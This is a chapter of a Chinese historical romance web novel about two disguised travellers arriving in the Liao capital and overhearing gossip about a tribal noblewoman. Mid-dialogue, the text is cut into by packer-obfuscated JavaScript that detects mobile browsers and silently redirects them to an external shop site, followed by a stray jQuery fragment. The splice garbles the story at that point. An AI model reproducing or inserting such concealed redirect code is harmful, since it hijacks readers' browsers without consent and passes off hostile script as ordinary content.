薛乔双仰脖灌了一大口水,但没出什么大汗。
大辽广袤,但北疆森寒,虽是秋夏交接之时,不远处湛蓝天色下接着一大片白茫茫风雪。
少女骑着一匹牛车,一旁是扯着缰绳的微生溯,不对,应该叫他的回鹘名,阿史那野利才对。
“野利,快些赶,若以你这速度,进到上京就是天黑了。”
微生溯垂眸,高大身姿侧过来看她时,给人恭顺感觉,少年应道:“是,阿史娜主人。”
高山风雪迷茫,回眸时,少年掩去他眼底从容谦卑,显出几分锐利。
薛乔双放下水囊,盯着少年清瘦脊背,杏眸中划过一丝狐疑。
这几日,微生溯实在是乖顺得有些反常。
出发前,微生溯似乎也知这一趟差事有去无回,百般推辞,甚至多次强调自己右腿的伤,只求能逃离。
如今,真被上赶着出发,少年却连半句怨言都无了。
她本百无聊赖瞧击车辕,但不踏实,总觉得微生溯不是表面看上去老实,自己却观察他一路,没见少年有什么古怪。
他眼下瘸腿,能掀起什么风浪不成?薛乔双思及此,便稍微放下心来。
正想着,后头传来一阵辘辘的车轮声和清脆的铜铃。
“前面的阿史娜妹子,等等我!”
来人是个留着两撇八字胡的契丹小商贩,名叫大鲁。
他赶着一辆略显破旧的马车,气喘吁吁地追了上来。车上是用好几层厚毡布严严实实裹着的几口大木箱,不知装的是什么货物。
这几日赶路,两拨人时常一前一后,也算混了个脸熟。
大鲁哥出身低微,但还算有商业头脑,近些上京皇帝信佛,他倒买倒卖些红玛瑙和黄水晶,加上西域佛国高僧加持的名号,卖得火辣。
“大鲁哥?”薛乔双和微生溯一路无话,正好憋得慌,十分热情冲大鲁哥招手:“你把小橘子安置好了?”
小橘子是大鲁哥八岁大的女儿,因早年丧命,都是大鲁哥拉扯长大,他春夏一年到头都要倒买倒卖,小孩子黏人,总是不愿意让他走。
大鲁骗孩子很快回来,这才愿意撒手。
“安置好了,一年到头也就只能见一两次她,小橘子自然不太愿意的,但干完这一单,我明年带着她回契丹外祖家了,毕竟风餐露宿的,都不知道孩子有没有被欺负呢。”
大鲁哥是个很热情的人,闲聊间,目光不经意落在了架着牛车,始终一声不吭的微生溯身上。
他打量了这少年两眼,只觉得这身板虽清瘦,骨架却生得挺拔,不禁好奇问道:“阿史娜妹子,上次见这小子就是个闷葫芦,多问他一句都不愿答我,不过话说回来,你们俩这是什么关系……”
薛乔双小脸煞白,她这一路上不是吃就是睡,从未想过有人问这个问题时,自己应如何作答。
微生溯忽然低声开了口,破天荒地抢在薛乔双前面答道:“我是阿史娜主人的奴隶,是她发善心,将我捡回来的。”
少年沙哑着,垂着眸,碎发投下一片阴影,遮住他黑眸滚动的情绪。
听着车辕上少女方才与那陌生商贩聊得热火朝天,笑声清脆,再想到这几日她对自己不闻不问的冷落,微生溯心底莫名不舒服。
大鲁哥走南闯北半辈子,自然察觉到了少年那股宛如小狼崽子般的防备与敌意。
但他生性豁达,非但没有计较,反而爽朗地大笑起来。
“原来是捡回来的,难怪这小子护主呢!”
大鲁哥目光慈和地扫过微生溯那条微跛的右腿,轻叹了口气,转头对薛乔双劝道,“不过妹子啊,我看这小子腿上带着伤,走起路来一瘸一拐的。虽说是奴隶,那也是爹娘生养的血肉之躯,既然受伤了,就别让他一个人拉车干重活了。这冰天雪地的,万一冻坏了骨头,这辈子可就真残废了。”
说着,大鲁哥从自己车头的包裹里掏出一个油纸包,隔着风雪稳稳地抛到了薛乔双的牛车上。
“拿着!这是契丹的土特产,风干羊肉条和刚打出来的酸奶疙瘩!你们俩分着吃,尤其是这小子,瞧着瘦干干的,多吃几口垫垫肚子,才有力气赶路!”
“多谢大鲁哥!”
少女欢心一笑,但少年却抿唇,神色不悦。
好在大鲁哥并没有过多攀谈,今夜他要在小镇上停留,而薛乔双他们必须在天黑前入上京城之中,目的地不同,便就此别过。
傍晚时分,北地的风雪骤然紧迫,漫天飞舞的白毛雪几乎迷了人眼。
微生溯猛地抽了一鞭子,总算还是在关闭城门的最后一刻进来了。
城内灯火连绵,稍稍驱散了些许寒意。
微生溯将牛车停在客栈门前后,拖着那条在寒风中有些僵硬的,微跛的右腿,正准备去卸车上沉重的行囊。
为将回鹘商贩的身份伪装得天衣无缝,长公主殿下在背后用心打点安排了。
那几口沉甸甸的木箱里,装的可都是真金白银换来的西域好货。
少年还在卖力搬东西,薛乔双看着他沾满雪水、冻得通红的指节,脑海中不自觉地浮现出下午大鲁哥的那番话。
“这冰天雪地的,万一冻坏了骨头,这辈子可就真残废了。”
她的良心难得痛了一下,主动开口道:“行了,野利,你去里头定两间房歇着吧,这些粗活我来搬就是了。”
谁知微生溯脸上一丝感激都无,反倒蹙眉摇首:“四……主人,你不应该干这些粗活,这样子会让人生疑心的。”
最后拗不过她,却又害怕她给自己带来麻烦,微生溯便放下手中的箱子:“主人若是愿意,可否到上京的夜市上买些纸笔信封回来?”
上京的辽人重骑射武义,并不看重诗书笔墨一类,微生溯本想按时给长公主殿下禀报实时消息的,但发现这客栈没有纸笔什么的,很是苦恼。
少女哈出一口白气,搓暖了双手后,很高兴接过少年的银钱:“要多少?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792089|210424||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
微生溯不知道为什么她还能笑得出来,入了上京,才是威胁真正的开始,一个将死之人,却笑得如此灿烂。
他心中恶狠狠咒骂,他微生溯倒要看看平日里瞧不起自己的这个少女,能笑到几时?
“一份足矣。”
话落后,少年面色淡然地拄起拐杖朝屋内走去。
上京城虽处北地风雪之中,夜市却别有一番粗犷的热闹。
因大辽皇室极为忌惮宗室与部族武装哗变,城中的戌卫异常森严。这也是微生溯放心让她孤身一人上街的原因。
薛乔双拢了拢身上的皮裘,穿梭在飘着羊肉膻味和香料气味的摊贩间。
她很快便在南市角落寻到了一家售卖中原杂货的铺子,利落地挑了上好的澄心堂纸与狼毫笔。
掌柜回身取货儿的空隙,少女坐下在烤炉旁,伸手取暖。
忽而几个彪形大汉掀开帘子,一身都是汗臭味,熏得人头痛,少女便不动声色朝窗边挪动身子。
中原人酿酒十分美味,游牧异族多饮茶奶,这些薛乔双略有耳闻,但这些汉子把烈酒混杂着鲜奶,一口灌入腹中,居然哈地一声,叹道:“当真暖身啊!”
那几个彪形大汉显然是刚从城外送完货,大口灌着混了鲜奶的烈酒,酒气一上头,便开始口无遮拦地嚼起舌根来。
薛乔双借着烤火的姿势,不动声色地竖起耳朵。
“嗨,你们听说了没?咱们大辽十三部里,乌洛部的那个老首领,怕是熬不过这个冬天了!都六十好几的老骨头了,听说是天天在帐篷里咳血!”一个满脸横肉的大汉抹了一把嘴角的酒渍,压低了声音嚷嚷。
“他要是两腿一蹬,那他那个刚娶进门没两年的拓跋蓉怎么办?”另一个瘦高个凑上前,眼里闪过一丝下流的垂涎,“就是那个爱穿红裙、眉心画着蝎子花钿的那个!啧啧,那叫长得一个水灵妖异,才二十出头吧?”
“还能怎么办?”横肉大汉嗤笑一声,“咱们大辽的规矩,老子死了,小老婆自然是过继给儿子接着当老婆!你们是没瞧见,那老首领还没咽气呢,这女人就跟老首领那个大儿子整日出双入对,说不定啊,早就勾搭到一个毡帐里去了!”
“嘘!你他娘的说话小声点!”旁边一个年长些的汉子赶紧用手肘捅了捅他,神色忌惮,“那女人如今在乌洛部可是握着实权的!不管老首领死不死,她以后照样是部落里说一不二的女主子!更何况……我听上头的人透漏,她背后隐隐约约还有上京城里某位皇子的势力撑腰,故意把她安插在部落里的。咱们这种底层苦哈哈要是得罪了她,怎么死的都不知道,也就是在这儿喝几口黄汤,过过嘴瘾罢了!”
拓跋蓉?不就是二哥哥要自己去求的那个异族女子吗?
薛乔双深吸了一口气,她手指摩挲着兄长给自己的那一枚救命的令牌。
拓跋蓉真有办法救自己,她却并不想去求,听起来她是个漂亮得妖异的女子,但……并不好讲话。